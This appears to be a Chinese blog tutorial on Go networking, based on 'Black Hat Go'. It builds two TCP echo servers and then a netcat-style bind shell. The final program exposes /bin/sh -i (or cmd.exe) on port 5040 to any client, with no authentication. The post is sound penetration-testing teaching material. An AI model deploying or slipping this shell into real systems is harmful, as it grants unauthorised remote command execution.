我们上一篇主要是讲从客户端的角度使用net包,今天我们来聊一聊用它创建TCP服务器和传输数据的方法
首先我们需要构造一个回显服务器,掌握如何在套接字中读写数据。具体流程就是,先用net.Conn创建一个Conn实例,我们可以通过TCP套接字发送和接收数据。用net.Listen(network, address string) 在特定端口上打开TCP监听器。客户端连接后,方法Accept() 将创建并返回一个Conn对象,可以使用该对象接受和发送数据。下面以 23 端口为例
package main
import (
"io"
"log"
"net"
)
// echo是一个处理函数,他仅仅回显接收到的数据
func echo(conn net.Conn) {
defer conn.Close()
//创建一个缓冲区来存储接收到的数据
b := make([]byte, 512)
for {
//通过conn.Read接收数据到一个缓冲区
size, err := conn.Read(b[0:])
if err == io.EOF {
log.Println("Client disconnected")
break
}
if err != nil {
log.Printf("UUnexpected error")
break
}
log.Printf("Received %d bytes: %s\n", size, string(b))
//通过conn.Write发送数据
log.Println("writing data")
if _, err := conn.Write(b[0:size]); err != nil {
log.Fatalln("Unable to write data")
}
}
}
func main() {
//在所有接口上绑定tcp端口23
listener, err := net.Listen("tcp", ":23")
if err != nil {
log.Fatalln("Unable to bind to port")
}
log.Println("Listening on 0.0.0.0:23")
for {
//等待连接。在已经建立的连接上创建net.Conn
conn, err := listener.Accept()
log.Println("Received connection")
if err != nil {
log.Fatalln("Unable to accept connection")
}
//处理连接。使用goroutine实现并发
go echo(conn)
}
}
运行代码后,在命令行中输入
telnet localhost 23
远程连接客户端
如果显示没有telnet命令,可以通过下面的途径解决
控制面板——程序——启动或关闭windows功能——telnet client
最终回显服务器产生以下标准输出
这个回显服务器将客户端发送的消息完全重复的发回给客户端
上面的回显实例中我们看到服务器接收到客户端一个字节就立马发送出去了,这样相当依赖函数调用、缓冲区跟踪以及重复的读写。Go拥有可以简化此过程并降低代码复杂性的包 bufio, bufio包包装了Reader 和 Writer, 以创建 io 缓冲机制。这次以5040端口为例
package main
import (
"bufio"
"log"
"net"
)
func echo_up(conn net.Conn) {
defer conn.Close()
reader := bufio.NewReader(conn)
s, err := reader.ReadString('\n')
if err != nil {
log.Fatalln("Unable to read data")
}
log.Printf("Read %d bytes: %s", len(s), s)
log.Println("Writing data")
writer := bufio.NewWriter(conn)
if _, err := writer.WriteString(s); err != nil {
log.Fatalln("Unable to write data")
}
writer.Flush() //将所有数据写入底层的Writer
}
func main() {
//在所有端口上绑定TCP端口 5040
listener, err := net.Listen("tcp", ":5040")
if err != nil {
log.Fatalln("Unable to build to port")
}
log.Println("Listening on 0.0.0.0:5040")
for {
//等待连接,在已连接的基础上创建net.Conn
conn, err := listener.Accept()
log.Println("Received connection")
if err != nil {
log.Fatalln("Unable to accept connection")
}
//处理连接。使用goroutine实现并发
go echo_up(conn)
}
}
运行后打开命令行输入命令
telnet localhost 5040
远程连接客户端
向服务器发送一串字符后,接收到来自服务器一串相同的字符
服务端的运行情况如下
我们知道Netcat 是TCP/IP上的 “瑞士军刀”,其本质上属于Telnet的一种,只不过比起Telnet,它更灵活且可编写脚本。它包含一项在TCP上重定向任意程序的标准输入(stdin)和标准输出(stdout)的功能。比如使攻击者能够通过单一的命令执行漏洞访问操作系统的shell。接下来我们就用Go来复现一下这个功能。
首先用到的使Go的os/exec包,该包定义了一种名为Cmd的类型,其中包含运行命令以及操作stdin和stdout所需的方法和属性。接收到新的连接后,可以使用os/exec中的函数Command(name string, arg…string) 创建新的Cmd实例,我们将 “/bin/sh” 硬编码为命令并将 “- i” 作为参数,使我们处于交互模式,这样就可以更可靠地操作stdin和stdout。
下面还是以5040端口为例
package main
import (
"io"
"log"
"net"
"os/exec"
)
func handle(conn net.Conn) {
/*For Windows use exec.Command("cmd.exe")*/
// cmd := exec.Command("cmd.exe")
cmd := exec.Command("/bin/sh", "-i")
rp, wp := io.Pipe()
// Set stdin to our connection
cmd.Stdin = conn
cmd.Stdout = wp
go io.Copy(conn, rp)
cmd.Run()
conn.Close()
}
func main() {
listener, err := net.Listen("tcp", ":5040")
if err != nil {
log.Fatalln(err)
}
for {
conn, err := listener.Accept()
if err != nil {
log.Fatalln(err)
}
go handle(conn)
}
}
运行此程序后,在命令行连接客户端,则可以直接访问shell。
整个下来就Telnet那部分差点给我整不会了,电脑总是出问题,不过最后都解决了。到现在为止我们已经了解了Go的实际应用与网络、I/O和并发的关系,收获满满,大家有什么疑问欢迎在评论区讨论,相互学习,一起进步!
参考 : 《Black Hat Go:Go Programming for Hackers and Pentesters》